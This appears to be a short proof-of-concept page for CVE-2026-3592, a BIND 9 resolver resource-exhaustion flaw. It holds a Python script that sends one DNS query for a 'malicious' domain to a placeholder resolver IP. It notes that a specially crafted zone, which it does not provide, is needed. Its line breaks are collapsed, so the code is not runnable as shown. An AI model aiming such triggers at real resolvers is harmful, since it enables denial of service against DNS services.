CVE-2026-3592 BIND 9解析器资源耗尽漏洞

import dns.query import dns.message # PoC Concept for CVE-2026-3592 # This script demonstrates sending a query to a resolver that is expected to trigger the resource consumption. # The target zone must be specifically crafted to exploit the vulnerability. def trigger_vulnerability(target_resolver_ip, crafted_domain): # Create a DNS query for the crafted domain query = dns.message.make_query(crafted_domain, 'A') try: # Send the query to the vulnerable resolver response = dns.query.udp(query, target_resolver_ip, timeout=5) print(f"Query sent to {target_resolver_ip} for {crafted_domain}") print(f"Response received: {response}") except Exception as e: print(f"Error occurred: {e}") if __name__ == "__main__": # Replace with the IP of the vulnerable BIND resolver # Replace with the domain hosted in the crafted zone target_ip = "192.168.1.100" malicious_domain = "example.vuln.zone" trigger_vulnerability(target_ip, malicious_domain)